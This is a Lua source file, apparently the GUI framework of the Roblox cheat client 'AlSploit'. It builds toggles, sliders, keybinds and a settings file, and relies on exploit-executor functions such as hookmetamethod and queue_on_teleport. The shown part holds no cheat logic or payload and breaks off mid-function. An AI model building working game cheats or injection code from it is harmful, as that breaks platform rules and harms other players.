-- Pro Hacker le goat
shared.AlSploitUnInjected = false
local ReplicatedStorageService = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")
local UserInputService = game:GetService("UserInputService")
local TextChatService = game:GetService("TextChatService")
local LightingService = game:GetService("Lighting")
local TeleportService = game:GetService("TeleportService")
local PlayerService = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local HttpService = game:GetService("HttpService")
local TextService = game:GetService("TextService")
local RunService = game:GetService("RunService")
local WorkSpace = game:GetService("Workspace")
local CoreGui = game:GetService("CoreGui")
local LocalPlayer = PlayerService.LocalPlayer
local Mouse = LocalPlayer:GetMouse()
local Camera = WorkSpace.CurrentCamera
local AlSploitScreenGui = Instance.new("ScreenGui")
local ContainerFrame = Instance.new("Frame")
local ContainerUIListLayout = Instance.new("UIListLayout")
local NotificationContainer = Instance.new("Frame")
local NotificationContainerUIListLayout = Instance.new("UIListLayout")
local OpenGui = Instance.new("ImageButton")
local OpenGuiUICorner = Instance.new("UICorner")
local ChangeGuiToggleColorEvent = Instance.new("BindableEvent")
local ChangeGuiTitleColorEvent = Instance.new("BindableEvent")
local UnInjectEvent = Instance.new("BindableEvent")
local NotificationInstances = {}
local NotificationEvent = Instance.new("BindableEvent")
local NotificationCount = 0
local NotificationY = 0.88
local AlSploitConnections = {}
local AlSploitInjected = true
task.spawn(function()
AlSploitConnections["NotificationRemoved"] = NotificationEvent.Event:Connect(function(Arguments)
if Arguments.Name == "NotificationRemoved" then
for i, v in next, NotificationInstances do
if v.Position.Y.Scale < Arguments.Position.Y.Scale then
local DesiredPosition = UDim2.new(v.Position.X.Scale, 0, (v.Position.Y.Scale + 0.105), 0)
local TweenInformation = TweenInfo.new(0.24, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
local PositionTween = TweenService:Create(v, TweenInformation, {Position = DesiredPosition})
PositionTween:Play()
end
end
end
end)
end)
task.spawn(function()
AlSploitScreenGui.Parent = LocalPlayer.PlayerGui
AlSploitScreenGui.Name = "AlSploit"
AlSploitScreenGui.OnTopOfCoreBlur = true
AlSploitScreenGui.IgnoreGuiInset = true
AlSploitScreenGui.ResetOnSpawn = false
ContainerFrame.Parent = AlSploitScreenGui
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.BackgroundTransparency = 1
ContainerFrame.Position = UDim2.new(0, 0, 0.05, 0)
ContainerFrame.Visible = false
ContainerFrame.Size = UDim2.new(1, 0, 1, 0)
ContainerUIListLayout.Parent = ContainerFrame
ContainerUIListLayout.Name = "ContainerUIListLayout"
ContainerUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
ContainerUIListLayout.FillDirection = Enum.FillDirection.Horizontal
ContainerUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
ContainerUIListLayout.Padding = UDim.new(0, 50)
NotificationContainer.Parent = AlSploitScreenGui
NotificationContainer.Name = "NotificationContainer"
NotificationContainer.BackgroundTransparency = 1
NotificationContainer.BorderSizePixel = 0
NotificationContainer.Position = UDim2.new(0.8, 0, 0, 0)
NotificationContainer.Size = UDim2.new(0.2, 0, 0.980, 0)
NotificationContainerUIListLayout.Parent = NotificationContainer
NotificationContainerUIListLayout.Name = "NotificationContainerUIListLayout"
NotificationContainerUIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
NotificationContainerUIListLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
NotificationContainerUIListLayout.FillDirection = Enum.FillDirection.Vertical
NotificationContainerUIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
NotificationContainerUIListLayout.Padding = UDim.new(0, 10)
OpenGui.Parent = AlSploitScreenGui
OpenGui.Name = "OpenGui"
OpenGui.BackgroundTransparency = 1
OpenGui.AutoButtonColor = false
OpenGui.BorderSizePixel = 0
OpenGui.Position = UDim2.new(0.958, 0, 0.098, 0)
OpenGui.Image = "rbxassetid://102141261324485"
OpenGui.Size = UDim2.new(0.040, 0, 0.024, 0)
OpenGuiUICorner.Parent = OpenGui
OpenGuiUICorner.Name = "OpenGuiUICorner"
OpenGuiUICorner.CornerRadius = UDim.new(0.2, 0)
ChangeGuiToggleColorEvent.Parent = ReplicatedStorageService
ChangeGuiToggleColorEvent.Name = "ChangeGuiToggleColorEvent"
ChangeGuiTitleColorEvent.Parent = ReplicatedStorageService
ChangeGuiTitleColorEvent.Name = "ChangeColorEvent"
UnInjectEvent.Parent = ReplicatedStorageService
UnInjectEvent.Name = "UnInjectEvent"
task.spawn(function()
OpenGui.Activated:Connect(function()
ContainerFrame.Visible = not ContainerFrame.Visible
end)
end)
end)
local AlSploitSettings = {}
local CurrentAlSploitToggleColor = Color3.new(1, 1, 1)
local CurrentAlSploitTitleColor = Color3.new(1, 1, 1)
local DefaultLayoutOrder = 0
local AlSploitLibrary = {}
local WriteFile = writefile or function() CreateNotification(3, "Error, unable to use WriteFile") return nil end
local IsFile = isfile or function() CreateNotification(3, "Error, unable to use IsFile") return nil end
local ReadFile = readfile or function() CreateNotification(3, "Error, unable to use ReadFile") return nil end
local DeleteFile = delfile or function() CreateNotification(3, "Error, unable to use DeleteFile") return nil end
local QueueOnTeleport = queue_on_teleport or function() CreateNotification(3, "Error, unable to use QueueOnTeleport") return nil end
local SetFpsCap = setfpscap or function() CreateNotification(3, "Error, unable to use SetFpsCap") return nil end
local HookMetaMethod = hookmetamethod or function() CreateNotification(3, "Error, unable to use HookMetaMethod") return nil end
task.spawn(function()
if IsFile and not IsFile("AlSploitConfiguration.json") and WriteFile then
local EncodedSettings = HttpService:JSONEncode(AlSploitSettings)
WriteFile("AlSploitConfiguration.json", EncodedSettings)
end
if not IsFile or not IsFile("AlSploitConfiguration.json") then
CreateNotification(3, "Saving Folder Not Found")
end
end)
task.spawn(function()
if WriteFile and IsFile("AlSploitConfiguration.json") and ReadFile then
local DecodedSettings = HttpService:JSONDecode(ReadFile("AlSploitConfiguration.json"))
AlSploitSettings = DecodedSettings
end
if not ReadFile then
CreateNotification(3, "Unable To Load Settings")
end
task.spawn(function()
repeat
if IsFile and IsFile("AlSploitConfiguration.json") and WriteFile then
local EncodedSettings = HttpService:JSONEncode(AlSploitSettings)
WriteFile("AlSploitConfiguration.json", EncodedSettings)
end
task.wait(0.5)
until shared.AlSploitUnInjected == true
end)
end)
function AlSploitLibrary:CreateTab(Name)
local Tab = Instance.new("Frame")
local UICorner = Instance.new("UICorner")
local CornerFix = Instance.new("Frame")
local ModuleContainer = Instance.new("ScrollingFrame")
local UIListLayout = Instance.new("UIListLayout")
local Title = Instance.new("TextLabel")
local UITextSizeConstraint = Instance.new("UITextSizeConstraint")
Tab.Parent = ContainerFrame
Tab.Name = "Tab"
Tab.BackgroundColor3 = Color3.new(0, 0, 0)
Tab.BorderSizePixel = 0
Tab.Position = UDim2.new(0.434, 0, 0, 0)
Tab.Size = UDim2.new(0.142, 0, 0.049, 0)
UICorner.CornerRadius = UDim.new(0.2, 0)
UICorner.Parent = Tab
CornerFix.Parent = Tab
CornerFix.Name = "CornerFix"
CornerFix.BackgroundColor3 = Color3.new(0, 0, 0)
CornerFix.BorderSizePixel = 0
CornerFix.Position = UDim2.new(0, 0, 0.371, 0)
CornerFix.Size = UDim2.new(1, 0, 0.629, 0)
ModuleContainer.Parent = Tab
ModuleContainer.Name = "ModuleContainer"
ModuleContainer.BackgroundTransparency = 1
ModuleContainer.ScrollBarThickness = (UserInputService.KeyboardEnabled and 0 or 3)
ModuleContainer.BorderSizePixel = 0
ModuleContainer.AutomaticSize = Enum.AutomaticSize.Y
ModuleContainer.CanvasSize = UDim2.new(0, 0, 45, 0)
ModuleContainer.Position = UDim2.new(0, 0, 1, 0)
ModuleContainer.Size = UDim2.new(1, 0, 21.429, 0)
UIListLayout.Parent = ModuleContainer
UIListLayout.Name = "UIListLayout"
UIListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout.FillDirection = Enum.FillDirection.Vertical
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
Title.Parent = Tab
Title.Name = "Title"
Title.BackgroundTransparency = 1
Title.BorderSizePixel = 0
Title.TextColor3 = Color3.new(0, 0.6, 1)
Title.TextScaled = true
Title.TextWrapped = true
Title.TextSize = 20
Title.Position = UDim2.new(0, 0, 0.124, 0)
Title.Size = UDim2.new(1, 0, 0.743, 0)
Title.Font = Enum.Font.GothamBold
Title.Text = Name
UITextSizeConstraint.Parent = Title
UITextSizeConstraint.Name = "UITextSizeConstraint2"
UITextSizeConstraint.MaxTextSize = 20
task.spawn(function()
ChangeGuiTitleColorEvent.Event:Connect(function()
Title.TextColor3 = CurrentAlSploitTitleColor
end)
end)
local TabTable = {}
function TabTable:CreateToggle(Information)
local Name = Information.Name
local Function = Information.Function
local HoverText = Information.HoverText
local Toggle = Instance.new("TextButton")
local UITextSizeConstraint_2 = Instance.new("UITextSizeConstraint")
local UIPadding = Instance.new("UIPadding")
local DropdownButton = Instance.new("ImageButton")
local ModuleInformation = Instance.new("TextLabel")
local UICorner_2 = Instance.new("UICorner")
local UITextSizeConstraint_3 = Instance.new("UITextSizeConstraint")
local CurrentLayoutOrder = 0
if AlSploitSettings[Name] == nil then
AlSploitSettings[Name] = {Value = false}
end
local function ToggleValue(Start)
if Start == false then
AlSploitSettings[Name].Value = not AlSploitSettings[Name].Value
end
if AlSploitSettings[Name].Value == true then
Toggle.TextColor3 = CurrentAlSploitToggleColor
task.spawn(function()
if Start == true then
task.wait(0.5)
Function()
end
end)
task.spawn(function()
if Start == false then
Function()
end
end)
end
if AlSploitSettings[Name].Value == false then
Toggle.TextColor3 = Color3.new(1, 1, 1)
task.spawn(function()
if Start == true then
task.wait(0.5)
Function()
end
end)
task.spawn(function()
if Start == false then
Function()
end
end)
end
end
Toggle.Parent = ModuleContainer
Toggle.Name = "Toggle"
Toggle.BackgroundTransparency = 0.15
Toggle.BackgroundColor3 = Color3.new(0, 0, 0)
Toggle.AutoButtonColor = false
Toggle.BorderSizePixel = 0
Toggle.TextXAlignment = Enum.TextXAlignment.Left
Toggle.TextColor3 = Color3.new(1, 1, 1)
Toggle.TextScaled = true
Toggle.TextSize = 14
Toggle.Size = UDim2.new(1, 0, 0.039, 0)
Toggle.Font = Enum.Font.GothamBold
Toggle.Text = Name
Toggle.LayoutOrder = DefaultLayoutOrder
DefaultLayoutOrder = (DefaultLayoutOrder + 50)
CurrentLayoutOrder = (DefaultLayoutOrder - 49)
UIPadding.Parent = Toggle
UIPadding.Name = "UIPadding"
UIPadding.PaddingLeft = UDim.new(0, 15)
UITextSizeConstraint_2.Parent = Toggle
UITextSizeConstraint_2.Name = "UITextSizeConstraint_2"
UITextSizeConstraint_2.MaxTextSize = 14
DropdownButton.Parent = Toggle
DropdownButton.Name = "DropdownButton"
DropdownButton.BackgroundTransparency = 1
DropdownButton.BorderSizePixel = 0
DropdownButton.Position = UDim2.new(0.822, 0, 0.176, 0)
DropdownButton.Rotation = 0
DropdownButton.Image = "rbxassetid://6026663699"
DropdownButton.Size = UDim2.new(0.076, 0, 0.447, 0)
task.spawn(function()
local ToggleValue = false
local ActiveTween
DropdownButton.Activated:Connect(function()
ToggleValue = not ToggleValue
if ActiveTween then
ActiveTween:Destroy()
end
if ToggleValue == true then
local TweenInformation = TweenInfo.new(0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
local RotationTween = TweenService:Create(DropdownButton, TweenInformation, {Rotation = 90})
ActiveTween = RotationTween:Play()
end
if ToggleValue == false then
local TweenInformation = TweenInfo.new(0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
local RotationTween = TweenService:Create(DropdownButton, TweenInformation, {Rotation = 0})
ActiveTween = RotationTween:Play()
end
end)
end)
ModuleInformation.Parent = AlSploitScreenGui
ModuleInformation.Name = "ModuleInformation"
ModuleInformation.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
ModuleInformation.BorderSizePixel = 0
ModuleInformation.TextColor3 = Color3.new(1, 1, 1)
ModuleInformation.TextScaled = true
ModuleInformation.TextSize = 11
ModuleInformation.Visible = false
ModuleInformation.ZIndex = 5
ModuleInformation.Size = UDim2.new(1.199, 0, 0.32, 0 )
ModuleInformation.Font = Enum.Font.GothamBold
ModuleInformation.Text = HoverText
local TextSize = TextService:GetTextSize(HoverText, 11, Enum.Font.GothamBold, Vector2.new(100000, 100000))
ModuleInformation.Size = UDim2.new(0, (TextSize.X + 15), 0, (TextSize.Y + 4))
UICorner_2.Parent = ModuleInformation
UICorner_2.Name = "UICorner_2"
UICorner_2.CornerRadius = UDim.new(0.4, 0)
UITextSizeConstraint_3.Parent = ModuleInformation
UITextSizeConstraint_3.Name = "UITextSizeConstraint_3"
UITextSizeConstraint_3.MaxTextSize = 11
task.spawn(function()
ToggleValue(true)
end)
task.spawn(function()
ChangeGuiToggleColorEvent.Event:Connect(function()
if AlSploitSettings[Name].Value == true then
Toggle.TextColor3 = CurrentAlSploitToggleColor
end
end)
end)
task.spawn(function()
Toggle.Activated:Connect(function()
ToggleValue(false)
end)
end)
task.spawn(function()
local FollowMouseValue = false
task.spawn(function()
Toggle.MouseLeave:Connect(function()
ModuleInformation.Visible = false
FollowMouseValue = false
end)
end)
task.spawn(function()
Toggle.MouseEnter:Connect(function()
ModuleInformation.Visible = true
FollowMouseValue = true
end)
end)
task.spawn(function()
Mouse.Move:Connect(function()
if FollowMouseValue == true then
local MousePosition = UserInputService:GetMouseLocation()
ModuleInformation.Position = UDim2.new(0, MousePosition.X , 0, MousePosition.Y - 10)
end
end)
end)
end)
local ToggleTable = {}
function ToggleTable:CreateToggle(Arguments)
local DefaultValue = Arguments.DefaultValue
local Function_2 = Arguments.Function
local Parent = Name
local Name = Arguments.Name
local MiniToggle = Instance.new("TextLabel")
local UIPadding_2 = Instance.new("UIPadding")
local UITextSizeConstraint_4 = Instance.new("UITextSizeConstraint")
local ToggleContainer = Instance.new("Frame")
local UICorner_3 = Instance.new("UICorner")
local UIGradient = Instance.new("UIGradient")
local Toggle = Instance.new("TextButton")
local UICorner_4 = Instance.new("UICorner")
local UITextSizeConstraint_5 = Instance.new("UITextSizeConstraint")
if AlSploitSettings[Parent][Name] == nil then
AlSploitSettings[Parent][Name] = {Value = DefaultValue}
end
local function ToggleValue(Start)
if Start == false then
AlSploitSettings[Parent][Name].Value = not AlSploitSettings[Parent][Name].Value
end
if AlSploitSettings[Parent][Name].Value == true then
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.564706, 0.0313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.392157, 0.0431373, 1))}
local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut, 0, false, 0)
local ToggleTween = TweenService:Create(Toggle, TweenInformation, {Position = UDim2.new(0.06, 0, 0.1, 0)})
ToggleTween:Play()
Function_2()
end
if AlSploitSettings[Parent][Name].Value == false then
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.133333, 0.133333, 0.1333337)), ColorSequenceKeypoint.new(1.00, Color3.new(0.133333, 0.133333, 0.1333337))}
local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut, 0, false, 0)
local ToggleTween = TweenService:Create(Toggle, TweenInformation, {Position = UDim2.new(0.46, 0, 0.1, 0)})
ToggleTween:Play()
Function_2()
end
end
MiniToggle.Parent = ModuleContainer
MiniToggle.Name = "MiniToggle"
MiniToggle.BackgroundTransparency = 0.15
MiniToggle.BackgroundColor3 = Color3.new(0, 0, 0)
MiniToggle.BorderSizePixel = 0
MiniToggle.TextXAlignment = Enum.TextXAlignment.Left
MiniToggle.TextColor3 = Color3.new(1, 1, 1)
MiniToggle.TextScaled = true
MiniToggle.TextSize = 11
MiniToggle.Visible = false
MiniToggle.Size = UDim2.new(1, 0, 0.041, 0)
MiniToggle.Font = Enum.Font.GothamBold
MiniToggle.Text = Name
MiniToggle.LayoutOrder = CurrentLayoutOrder
CurrentLayoutOrder = (CurrentLayoutOrder + 1)
UIPadding_2.Parent = MiniToggle
UIPadding_2.Name = "UIPadding_2"
UIPadding_2.PaddingLeft = UDim.new(0, 15)
UITextSizeConstraint_4.Parent = MiniToggle
UITextSizeConstraint_4.Name = "UITextSizeConstraint_4"
UITextSizeConstraint_4.MaxTextSize = 11
ToggleContainer.Parent = MiniToggle
ToggleContainer.Name = "ToggleContainer"
ToggleContainer.BackgroundColor3 = Color3.new(1, 1, 1)
ToggleContainer.BorderSizePixel = 0
ToggleContainer.BorderColor3 = Color3.new(0, 0, 0)
ToggleContainer.Position = UDim2.new(0.785, 0, 0.232, 0)
ToggleContainer.Size = UDim2.new(0.163, 0, 0.497, 0)
UICorner_3.Parent = ToggleContainer
UICorner_3.Name = "UICorner_3"
UICorner_3.CornerRadius = UDim.new(1, 0)
UIGradient.Parent = ToggleContainer
UIGradient.Name = "UIGradient"
UIGradient.Rotation = 45
UIGradient.Color = (AlSploitSettings[Parent][Name].Value == true and ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.564706, 0.0313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.392157, 0.0431373, 1))} or ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.133333, 0.133333, 0.1333337)), ColorSequenceKeypoint.new(1.00, Color3.new(0.133333, 0.133333, 0.1333337))})
Toggle.Parent = ToggleContainer
Toggle.Name = "Toggle"
Toggle.BackgroundColor3 = Color3.new(0, 0, 0)
Toggle.AutoButtonColor = false
Toggle.BorderSizePixel = 0
Toggle.TextScaled = true
Toggle.TextSize = 14
Toggle.Position = UDim2.new(0.040, 0, 0.100, 0)
Toggle.Size = UDim2.new(0.500, 0, 0.800, 0)
Toggle.Font = Enum.Font.GothamBold
Toggle.Text = ""
UICorner_4.Parent = Toggle
UICorner_4.Name = "UICorner_4"
UICorner_4.CornerRadius = UDim.new(1, 0)
UITextSizeConstraint_5.Parent = Toggle
UITextSizeConstraint_5.MaxTextSize = 14
task.spawn(function()
ToggleValue(true)
end)
task.spawn(function()
Toggle.Activated:Connect(function()
ToggleValue(false)
end)
end)
task.spawn(function()
DropdownButton.Activated:Connect(function()
MiniToggle.Visible = not MiniToggle.Visible
end)
end)
end
function ToggleTable:CreateKeybind()
local KeyBind = Instance.new("TextButton")
local UITextSizeConstraint_4 = Instance.new("UITextSizeConstraint")
local UIPadding_2 = Instance.new("UIPadding")
local CanInputKeybind = false
local InputWanted = false
if not AlSploitSettings[Name].Keybind then
AlSploitSettings[Name].Keybind = "..."
end
local function ToggleValue(Keybind)
AlSploitSettings[Name].Keybind = Keybind
KeyBind.Text = "KeyBind: " .. Keybind
end
KeyBind.Parent = ModuleContainer
KeyBind.Name = "KeyBind"
KeyBind.BackgroundTransparency = 0.15
KeyBind.BackgroundColor3 = Color3.new(0, 0, 0)
KeyBind.AutoButtonColor = false
KeyBind.BorderSizePixel = 0
KeyBind.TextXAlignment = Enum.TextXAlignment.Left
KeyBind.TextColor3 = Color3.new(255, 255, 255)
KeyBind.TextScaled = true
KeyBind.TextSize = 11
KeyBind.Position = UDim2.new(0, 0, 0.082, 0)
KeyBind.Visible = false
KeyBind.Size = UDim2.new(1, 0, 0.035, 0)
KeyBind.Font = Enum.Font.GothamBold
KeyBind.Text = (AlSploitSettings[Name].Keybind == "..." and "KeyBind: " or "KeyBind: " .. AlSploitSettings[Name].Keybind)
KeyBind.LayoutOrder = CurrentLayoutOrder
CurrentLayoutOrder = (CurrentLayoutOrder + 1)
UITextSizeConstraint_4.Parent = KeyBind
UITextSizeConstraint_4.Name = "ITextSizeConstraint_4"
UITextSizeConstraint_4.MaxTextSize = 11
UIPadding_2.Parent = KeyBind
UIPadding_2.Name = "UIPadding_2"
UIPadding_2.PaddingLeft = UDim.new(0, 15)
task.spawn(function()
KeyBind.Activated:Connect(function()
InputWanted = not InputWanted
if CanInputKeybind == false and InputWanted == true then
KeyBind.Text = "KeyBind: ..."
CanInputKeybind = true
end
if InputWanted == false then
AlSploitSettings[Name].Keybind = "..."
KeyBind.Text = "KeyBind: "
CanInputKeybind = false
end
end)
end)
task.spawn(function()
UserInputService.InputBegan:Connect(function(Input)
if CanInputKeybind == false and not UserInputService:GetFocusedTextBox() and AlSploitSettings[Name].Keybind == Input.KeyCode.Name then
if AlSploitSettings[Name].Value == true then
Toggle.TextColor3 = Color3.new(1, 1, 1)
CreateNotification(3, Name .. " Has Been Toggled Off")
end
if AlSploitSettings[Name].Value == false then
Toggle.TextColor3 = CurrentAlSploitToggleColor
CreateNotification(3, Name .. " Has Been Toggled On")
end
AlSploitSettings[Name].Value = not AlSploitSettings[Name].Value
Function()
end
if CanInputKeybind == true then
if Input.UserInputType == Enum.UserInputType.Keyboard then
CanInputKeybind = false
InputWanted = false
ToggleValue(Input.KeyCode.Name)
end
end
end)
end)
task.spawn(function()
DropdownButton.Activated:Connect(function()
KeyBind.Visible = not KeyBind.Visible
end)
end)
end
function ToggleTable:CreateSlider(Arguments)
local DefaultValue = Arguments.DefaultValue
local MaximumValue = Arguments.MaximumValue
local Function_2 = Arguments.Function
local Parent = Name
local Name = Arguments.Name
local Slider = Instance.new("Frame")
local SliderFrame = Instance.new("Frame")
local Fill = Instance.new("Frame")
local UIGradient = Instance.new("UIGradient")
local Bar = Instance.new("TextButton")
local UICorner_3 = Instance.new("UICorner")
local UIStroke = Instance.new("UIStroke")
local UITextSizeConstraint_4 = Instance.new("UITextSizeConstraint")
local NameDisplay = Instance.new("TextLabel")
local UITextSizeConstraint_5 = Instance.new("UITextSizeConstraint")
local ValueDisplay = Instance.new("TextLabel")
local UITextSizeConstraint_6 = Instance.new("UITextSizeConstraint")
if AlSploitSettings[Parent][Name] == nil then
AlSploitSettings[Parent][Name] = {Value = DefaultValue}
end
Slider.Parent = ModuleContainer
Slider.Name = "Slider"
Slider.BackgroundTransparency = 0.15
Slider.BackgroundColor3 = Color3.new(0, 0, 0)
Slider.BorderSizePixel = 0
Slider.Position = UDim2.new(0, 0, 0.117, 0)
Slider.Visible = false
Slider.Size = UDim2.new(1, 0, 0.064, 0)
Slider.LayoutOrder = CurrentLayoutOrder
CurrentLayoutOrder = (CurrentLayoutOrder + 1)
SliderFrame.Parent = Slider
SliderFrame.Name = "SliderFrame"
SliderFrame.BackgroundTransparency = 1
SliderFrame.BorderSizePixel = 0
SliderFrame.Position = UDim2.new(0.150, 0, 0.654, 0)
SliderFrame.Size = UDim2.new(0.700, 0, 0.060, 0)
Fill.Parent = SliderFrame
Fill.Name = "Fill"
Fill.BackgroundColor3 = Color3.new(1, 1, 1)
Fill.BorderSizePixel = 0
Fill.Position = UDim2.new(0, 0, -0.329, 0)
Fill.Size = UDim2.new(1, 0, 1, 0)
UIGradient.Parent = Fill
UIGradient.Name = "UIGradient"
UIGradient.Rotation = 180
UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.564706, 0.0313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.392157, 0.0431373, 1))}
Bar.Parent = SliderFrame
Bar.Name = "Bar"
Bar.BackgroundColor3 = Color3.new(0.564706, 0.0313725, 1)
Bar.AutoButtonColor = false
Bar.BorderSizePixel = 0
Bar.TextScaled = true
Bar.TextSize = 14
Bar.Position = UDim2.new(0.135, 0, -1.500, 0)
Bar.ZIndex = 2
Bar.Size = UDim2.new(0.070, 0, 3.090, 0)
Bar.Font = Enum.Font.GothamBold
Bar.Text = ""
UICorner_3.Parent = Bar
UICorner_3.Name = "UICorner_3"
UICorner_3.CornerRadius = UDim.new(1, 0)
UIStroke.Parent = Bar
UIStroke.Name = "UIStroke"
UIStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border
UIStroke.Thickness = 1
UIStroke.Color = Color3.new(0, 0, 0)
UITextSizeConstraint_4.Parent = Bar
UITextSizeConstraint_4.Name = "UITextSizeConstraint_6"
UITextSizeConstraint_4.MaxTextSize = 14
NameDisplay.Parent = Slider
NameDisplay.Name = "NameDisplay"
NameDisplay.BackgroundTransparency = 1
NameDisplay.BorderSizePixel = 0
NameDisplay.TextColor3 = Color3.new(1, 1, 1)
NameDisplay.TextScaled = true
NameDisplay.TextSize = 10
NameDisplay.Position = UDim2.new(0.145, 0, 0.08, 0)
NameDisplay.Size = UDim2.new(0.250, 0, 0.543, 0)
NameDisplay.Font = Enum.Font.GothamBold
NameDisplay.Text = Name
UITextSizeConstraint_5.Parent = NameDisplay
UITextSizeConstraint_5.MaxTextSize = 10
ValueDisplay.Parent = Slider
ValueDisplay.Name = "ValueDisplay"
ValueDisplay.BackgroundTransparency = 1
ValueDisplay.BorderSizePixel = 0
ValueDisplay.TextColor3 = Color3.new(1, 1, 1)
ValueDisplay.TextScaled = true
ValueDisplay.TextSize = 10
ValueDisplay.Position = UDim2.new(0.635, 0, 0.08, 0)
ValueDisplay.Size = UDim2.new(0.250, 0, 0.543, 0)
ValueDisplay.Font = Enum.Font.GothamBold
ValueDisplay.Text = AlSploitSettings[Parent][Name].Value
UITextSizeConstraint_6.Parent = ValueDisplay
UITextSizeConstraint_6.MaxTextSize = 10
local CanUseSlider = false
local function Snap(Number, Factor)
return (Factor == 0 and Number or (math.floor(Number / Factor) * Factor))
end
task.spawn(function()
Fill.Size = UDim2.new((AlSploitSettings[Parent][Name].Value / MaximumValue), 0, 1, 0)
Bar.Position = UDim2.new((AlSploitSettings[Parent][Name].Value / MaximumValue), 0, Bar.Position.Y.Scale, 0)
Function_2()
end)
task.spawn(function()
Bar.MouseButton1Down:Connect(function()
CanUseSlider = true
end)
end)
task.spawn(function()
UserInputService.InputEnded:Connect(function(Input)
if Input.UserInputType == Enum.UserInputType.MouseButton1 or Enum.UserInputType.Touch then
CanUseSlider = false
end
end)
end)
task.spawn(function()
DropdownButton.Activated:Connect(function()
Slider.Visible = not Slider.Visible
task.spawn(function()
repeat
task.wait()
if CanUseSlider == true then
local MousePosition = UserInputService:GetMouseLocation().X
local FramePosition = Slider.AbsolutePosition.X
local BarPosition = Bar.Position
local FrameSize = Slider.AbsoluteSize.X
local Position = ((MousePosition - FramePosition) / FrameSize)
local Percentage = math.clamp(Position, 0, 1)
local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, 0, false, 0)
local PositionTween = TweenService:Create(Bar, TweenInformation, {Position = UDim2.new(Percentage, 0, BarPosition.Y.Scale, 0)})
PositionTween:Play()
local TweenInformation = TweenInfo.new(0.1, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut, 0, false, 0)
local SizeTween = TweenService:Create(Fill, TweenInformation, {Size = UDim2.new(Percentage, 0, 1, 0)})
SizeTween:Play()
ValueDisplay.Text = math.round(Percentage * MaximumValue)
AlSploitSettings[Parent][Name].Value = math.round(Percentage * MaximumValue)
Function_2()
end
until shared.AlSploitUnInjected == true or Slider.Visible == false
end)
end)
end)
end
local DropdownTable = {}
function ToggleTable:CreateDropdown(Arguments)
local HoverText_2 = Arguments.HoverText
local Parent = Name
local Name = Arguments.Name
if AlSploitSettings[Parent][Name] == nil then
AlSploitSettings[Parent][Name] = {}
end
local Dropdown = Instance.new("Frame")
local OptionsContainer = Instance.new("ScrollingFrame")
local UIListLayout_2 = Instance.new("UIListLayout")
local DropdownText = Instance.new("TextLabel")
local UIPadding_2 = Instance.new("UIPadding")
local UITextSizeConstraint_4 = Instance.new("UITextSizeConstraint")
local ModuleInformation_2 = Instance.new("TextLabel")
local UICorner_3 = Instance.new("UICorner")
local UITextSizeConstraint_5 = Instance.new("UITextSizeConstraint")
Dropdown.Parent = ModuleContainer
Dropdown.Name = "Dropdown"
Dropdown.BackgroundTransparency = 0.15
Dropdown.BackgroundColor3 = Color3.new(0, 0, 0)
Dropdown.BorderSizePixel = 0
Dropdown.Visible = false
Dropdown.Position = UDim2.new(0.085, 0, 0.181, 0)
Dropdown.Size = UDim2.new(1, 0, 0.106, 0)
Dropdown.LayoutOrder = CurrentLayoutOrder
CurrentLayoutOrder = (CurrentLayoutOrder + 1)
OptionsContainer.Parent = Dropdown
OptionsContainer.Name = "OptionsContainer"
OptionsContainer.BackgroundTransparency = 1
OptionsContainer.ScrollBarThickness = 0
OptionsContainer.BorderSizePixel = 0
OptionsContainer.CanvasSize = UDim2.new(0, 0, 1.5, 0)
OptionsContainer.Position = UDim2.new(0, 0, 0.290, 0)
OptionsContainer.Size = UDim2.new(1, 0, 0.710, 0)
UIListLayout_2.Parent = OptionsContainer
UIListLayout_2.Name = "UIListLayout_2"
UIListLayout_2.HorizontalAlignment = Enum.HorizontalAlignment.Center
UIListLayout_2.FillDirection = Enum.FillDirection.Vertical
UIListLayout_2.SortOrder = Enum.SortOrder.LayoutOrder
DropdownText.Parent = Dropdown
DropdownText.Name = "DropdownText"
DropdownText.BackgroundTransparency = 1
DropdownText.BorderSizePixel = 0
DropdownText.TextXAlignment = Enum.TextXAlignment.Left
DropdownText.TextColor3 = Color3.new(1, 1, 1)
DropdownText.TextScaled = true
DropdownText.TextSize = 12
DropdownText.Size = UDim2.new(1, 0, 0.290, 0)
DropdownText.Font = Enum.Font.GothamBold
DropdownText.Text = Name
UITextSizeConstraint_4.Parent = DropdownText
UITextSizeConstraint_4.Name = "UITextSizeConstraint_4"
UITextSizeConstraint_4.MaxTextSize = 12
UIPadding_2.Parent = DropdownText
UIPadding_2.Name = "UIPadding_2"
UIPadding_2.PaddingLeft = UDim.new(0, 15)
ModuleInformation_2.Parent = AlSploitScreenGui
ModuleInformation_2.Name = "ModuleInformation"
ModuleInformation_2.BackgroundColor3 = Color3.new(0.101961, 0.101961, 0.101961)
ModuleInformation_2.BorderSizePixel = 0
